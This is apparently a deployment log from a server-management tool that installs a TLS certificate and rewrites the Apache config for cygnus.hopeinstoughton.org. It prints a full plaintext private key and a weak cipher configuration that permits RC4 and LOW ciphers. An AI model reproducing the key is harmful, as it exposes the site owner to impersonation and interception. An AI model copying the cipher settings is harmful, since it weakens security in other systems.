YVeKycDTdPhqMp8sDDV4EhPeT6FZR5EJg0kEBtrFZ9WOU/6EKeXnsQXSCp0iNCr3
eGE7UZ1+gHIg/6xRmU4ypqk/0SSWMdKGppEVogKuO8rFPIECAI8FUBWC004OIX4s
YoWsq9NWkVdVKXd/55E3r0d6ccV2pNGAJiu2+Nj02QGJyqxPFN2gpBcggZcwcOiO
4mmjAPc4V1+Sxzd/5c4JorGJdeqylbomSza8UHAzIlss0XJyXQpQ/8vHBnccenvu
XhSUx+KeOSFk0Ib8/Gg02fNrZUp9y1FeSZVCgL8CAwEAAaOCAjQwggIwMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUmEjvRsyKLV1a2VWYL8suoqqtNZEwHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8E
KDAmMCSgIqAghh5odHRwOi8vcjEzLmMubGVuY3Iub3JnLzExMi5jcmwwggENBgor
BgEEAdZ5AgQCBIH+BIH7APkAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/
D8qpxgAAAZuE/HpVAAAEAwBIMEYCIQCu/Znw5lG7YOLXpvfrxbLFRTM5KAQBb9Uy
L+qoWsbDDQIhALq2uJNGsyOlKksBc+2xF49XpifrOmWwI7O13QhgJ4CIAH4AcX6V
88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIAAAGbhPx67AAIAAAFAAXt6u4E
AwBHMEUCIQCHYW1IQWNBY4oxv+gvCsi4oTzyYkEskfl2G043i3BLqgIgJxKbgcX6
FrO2lCXdVFLe5qRA7mJ6QfeiTLflQofGXUcwDQYJKoZIhvcNAQELBQADggEBAByu
oGAyfdT6PK4t2v9OlUuShIj7wl1+QXaBb4f7NW59uSsuOv6OgKAARHmJlTzz9zi4
DZEWOiVWg8OtkuaCJK/ZD+Kr1Jn2w2EQRLOjIR5qjbhVZNQA3XqiSRyzdLUmOERN
ZG6RYUfI7Ph4xFJ0sUuoNAX7SW5Z2whpzxq4GagoN4ZbBu+3Nkd+ALq+D27u+64S
h3xeIzEiDn15lyraKMzRV9ZF+ztHelwOPIBATQplg1BtNYIjHFUcZpxtp+nZQEPv
Sx96f3zg+Qff40T3oo73xbmkPYic9SKsyPZIqcAxsLXCG02oHkeQ/OFWeO6S1MKp
clY91ZTr/pcxv8iTcwk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC+hRDm5ZlgaY/6
ex+9YUFmgrnKjlqaYtCxtQOU+rN6aJxedWFXisnA03T4ajKfLAw1eBIT3k+hWUeR
CYNJBAbaxWfVjlP+hCnl57EF0gqdIjQq93hhO1GdfoByIP+sUZlOMqapP9EkljHS
hqaRFaICrjvKxTyBAgCPBVAVgtNODiF+LGKFrKvTVpFXVSl3f+eRN69HenHFdqTR
gCYrtvjY9NkBicqsTxTdoKQXIIGXMHDojuJpowD3OFdfksc3f+XOCaKxiXXqspW6
Jks2vFBwMyJbLNFycl0KUP/LxwZ3HHp77l4UlMfinjkhZNCG/PxoNNnza2VKfctR
XkmVQoC/AgMBAAECggEAXoe8tqwmWXmXOEO+IGOwpRHo6JGQb/jmrr3vbIyl3+8m
4xFfvqV87IGfEKD0xBiBaEhOw+/y185qHZM4QlLOqd734bTQhUEDXvECWy54GLY/
ZzBJ2QirOrdpOPeZlGEabXvhSKoC9iHVz60C2Yr/y0+zGC2cEzCwoUYUEdBLUvcB
fN7uGcYFULkbbdPtbUUnSPKZj7ZxGMkkLuZPInFZq/5ZFlDA/CV74eA0xtmfpifX
EY4EQDsX4Zhe+CXYuP6U4PPnZVddaToYYal1IRvriTGagED7J/MXGrUsHOaxvGkT
hhJwuoOcQxECTylCGyF2uL1Fe8hv7nFktlNeUUg63QKBgQDo4ZGOJq4MJLbb+Gf9
JYoI2HjEQ6wTcu8BTr0XNBgaASVnT0OE/p5QGCeGstTYthI9EmGd0t30e1wpxfEg
mJii8UKvBheryGpHjyhTh16eYUF4+HwSY227Wgbzuc53DlBIZm+G4ZIysemllZld
5T5B1nkW2+Tfec1UO0aKs4xFgwKBgQDRbu2aayw2ubuaqMf/DfqrAFM7QDSQtK09
KF8tbbsLwQPK+69BiMeYYuQCSCC737uDP8zOMpRI05NV6n5EonWcs4aoJSZzL/EG
I4Onu8PctjCwV5cO94ow9hUUxdr8QZrervtKJg+QCkXSCsLKJz/clOP0TbnApQ9u
oRqiP19vFQKBgBnrMQX/LBPR6kAlL32vNeOyJA7D8Vzgx9T/bHAurhgG1KDg44Tj
yb7kUVHeiW3tJa6CYzbrhyR0rlc/3oxgL2zDKUbNiMjnr1xzhGt3f4JlFKJgFX7+
bfISHP/3SBFcGHdWX0dFx724q2ZwdfdLUliFhEiVBK4SolWjm0BIp239AoGATOwo
Wwo4IBWR4VlSs8xnoD0rVNzdMbUa2Bam9qGSDNwkz34nvbNGVCMmSexCEZ84WRmq
2KVdL25+dBT/safV+Os7bzDN8YrPRQjwR0BAzSUhtvNE6VtkJ12LGqkdKH/UKSwt
4ese1jHfuSj4qJVH8HXDUCzoJ+i4RVLo3GTYYY0CgYEAoBkIBHoFZYSZmI/5X3Uj
RDoG2FiXESbDrkHwFE5WD7JyuCc6m5OJ9uwqoOlayVBsNaRPr5/fuXF8CoDR/DIP
QJ02AZyhxz3VFn+A3wZdQ2Ppvs0L3Lfki4ZpcrMrJCq0rLpzXiEnXFv95dsi3KbP
3gzLrhTHTnzA5nW+aTVR76E=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-03 17:51:40: 

chmod 755 /tmp/pkp806996; /tmp/pkp806996; rm /tmp/pkp806996

2026-01-03 17:51:40: 


dir=/etc/ssl/certs


2026-01-03 17:51:40: 

PUT: /tmp/pkp735418

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-03 17:51:40: 

chmod 755 /tmp/pkp735418; /tmp/pkp735418; rm /tmp/pkp735418

2026-01-03 17:51:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf 50
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>






2026-01-03 17:51:40: 

PUT: /tmp/pkp544651

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cygnus_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf= 1'
fi


2026-01-03 17:51:41: 

chmod 755 /tmp/pkp544651; /tmp/pkp544651; rm /tmp/pkp544651

2026-01-03 17:51:41: 




2026-01-03 17:51:41: 

PUT: /tmp/pkp949945

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-03 17:51:42: 

chmod 755 /tmp/pkp949945; /tmp/pkp949945; rm /tmp/pkp949945

2026-01-03 17:51:42: 


.


2026-01-03 17:51:42: Establishing a connection
2026-01-03 17:51:43: 

PUT: /tmp/pkp926025

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 17:51:44: 

chmod 755 /tmp/pkp926025; /tmp/pkp926025; rm /tmp/pkp926025

2026-01-03 17:51:44: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-03 17:51:44: 

PUT: /tmp/pkp549145

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 17:51:44: 

chmod 755 /tmp/pkp549145; /tmp/pkp549145; rm /tmp/pkp549145

2026-01-03 17:51:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf	2965
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>







2026-01-03 17:51:45: 

PUT: /tmp/pkp149129

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 17:51:45: 

chmod 755 /tmp/pkp149129; /tmp/pkp149129; rm /tmp/pkp149129

2026-01-03 17:51:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734	5393
cb:e0:5a:1a:86:8b:72:2b:5a:be:05:ab:9a:16:a3:d0

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBdt0mXJZhKosSEE/D8Pgrg9vMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTY1MzA3WhcNMjYwNDAzMTY1MzA2WjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAL6FEOblmWBpj/p7H71hQWaCucqOWppi0LG1A5T6s3ponF51
YVeKycDTdPhqMp8sDDV4EhPeT6FZR5EJg0kEBtrFZ9WOU/6EKeXnsQXSCp0iNCr3
eGE7UZ1+gHIg/6xRmU4ypqk/0SSWMdKGppEVogKuO8rFPIECAI8FUBWC004OIX4s
YoWsq9NWkVdVKXd/55E3r0d6ccV2pNGAJiu2+Nj02QGJyqxPFN2gpBcggZcwcOiO
4mmjAPc4V1+Sxzd/5c4JorGJdeqylbomSza8UHAzIlss0XJyXQpQ/8vHBnccenvu
XhSUx+KeOSFk0Ib8/Gg02fNrZUp9y1FeSZVCgL8CAwEAAaOCAjQwggIwMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUmEjvRsyKLV1a2VWYL8suoqqtNZEwHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8E
KDAmMCSgIqAghh5odHRwOi8vcjEzLmMubGVuY3Iub3JnLzExMi5jcmwwggENBgor
BgEEAdZ5AgQCBIH+BIH7APkAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/
D8qpxgAAAZuE/HpVAAAEAwBIMEYCIQCu/Znw5lG7YOLXpvfrxbLFRTM5KAQBb9Uy
